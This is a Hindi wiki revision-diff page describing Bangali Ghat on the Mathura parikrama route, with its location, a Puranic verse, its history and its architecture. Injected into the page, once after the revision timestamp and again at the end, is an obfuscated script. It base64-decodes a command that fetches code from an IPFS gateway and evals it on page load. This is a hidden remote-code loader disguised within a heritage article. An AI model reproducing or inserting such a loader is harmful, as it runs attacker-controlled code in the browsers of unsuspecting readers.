"बंगाली घाट" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - " ।" to "।") |
|||
(६ सदस्यों द्वारा किये गये बीच के १७ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{ | + | {{Tourism3 |
− | + | |Image=Ghats-of-Yamuna-5.jpg | |
− | ==बंगाली घाट | + | |Location=यह [[मथुरा]] के परिक्रमा मार्ग पर स्थित है। |
+ | |Near=[[द्वारिकाधीश मन्दिर]], [[सती बुर्ज]], [[विश्राम घाट]], [[स्वामी घाट]] | ||
+ | |Archeology=निर्माणकाल- 1600 ई. | ||
+ | |Owner=उत्तर प्रदेश सरकार | ||
+ | |Source=[[इंटैक]] | ||
+ | |Update=2009 | ||
+ | }} | ||
+ | ==बंगाली घाट / Bangali Ghat== | ||
+ | [[तिन्दुक|तिन्दुक तीर्थ]] | ||
+ | |||
अस्ति क्षेत्रं परं गुह्म तिन्दुकं नाम क्रमत:।<br /> | अस्ति क्षेत्रं परं गुह्म तिन्दुकं नाम क्रमत:।<br /> | ||
− | तस्मिन् स्नातो नरो देवि ! मम लोके | + | तस्मिन् स्नातो नरो देवि ! मम लोके महीयते।।<ref>सभी–आदिवाराह पुराण</ref> |
− | यह भी [[गुह्म तीर्थ]] | + | यह भी [[गुह्म तीर्थ]] है। यहाँ स्नान करने पर भगवद् धाम की प्राप्ति होती है। पास ही में दण्डी घाट है जहाँ श्री [[चैतन्य महाप्रभु]] ने स्नान किया था और अपने नृत्य एवं संकीर्तन से सभी को मुग्ध कर दिया था। '''आजकल इसे बंगाली घाट भी कहते हैं'''। |
− | + | ==इतिहास== | |
+ | कहा जाता है कि इसका निर्माण [[वृन्दावन]] के [[गोविन्द देव जी का मंदिर|गोविन्द देव मन्दिर]] के गोसाईं ने करवाया था। यहाँ मुख्य मार्ग के सामने बंगाली वैष्णवों के प्रमुख का निवास है। | ||
+ | ==वास्तु== | ||
+ | इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है। छह बुर्जों और तीन छतरियों से इसे सुसज्जित किया गया है। | ||
==टीका-टिपण्णी== | ==टीका-टिपण्णी== | ||
<references/> | <references/> | ||
− | + | ==सम्बंधित लिंक== | |
− | [[ | + | {{ब्रज के दर्शनीय स्थल}} |
− | [[ | + | [[Category: कोश]] |
+ | [[Category:दर्शनीय-स्थल]] | ||
__INDEX__ | __INDEX__ | ||
+ | __NOTOC__ |
१२:५७, २ नवम्बर २०१३ के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
बंगाली घाट
| |
---|---|
मार्ग स्थिति: | यह मथुरा के परिक्रमा मार्ग पर स्थित है। |
आस-पास: | द्वारिकाधीश मन्दिर, सती बुर्ज, विश्राम घाट, स्वामी घाट |
पुरातत्व: | निर्माणकाल- 1600 ई. |
वास्तु: | |
स्वामित्व: | उत्तर प्रदेश सरकार |
प्रबन्धन: | |
स्त्रोत: | इंटैक |
अन्य लिंक: | |
अन्य: | |
सावधानियाँ: | |
मानचित्र: | |
अद्यतन: | 2009 |
बंगाली घाट / Bangali Ghat
अस्ति क्षेत्रं परं गुह्म तिन्दुकं नाम क्रमत:।
तस्मिन् स्नातो नरो देवि ! मम लोके महीयते।।[१]
यह भी गुह्म तीर्थ है। यहाँ स्नान करने पर भगवद् धाम की प्राप्ति होती है। पास ही में दण्डी घाट है जहाँ श्री चैतन्य महाप्रभु ने स्नान किया था और अपने नृत्य एवं संकीर्तन से सभी को मुग्ध कर दिया था। आजकल इसे बंगाली घाट भी कहते हैं।
इतिहास
कहा जाता है कि इसका निर्माण वृन्दावन के गोविन्द देव मन्दिर के गोसाईं ने करवाया था। यहाँ मुख्य मार्ग के सामने बंगाली वैष्णवों के प्रमुख का निवास है।
वास्तु
इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है। छह बुर्जों और तीन छतरियों से इसे सुसज्जित किया गया है।
टीका-टिपण्णी
- ↑ सभी–आदिवाराह पुराण
सम्बंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>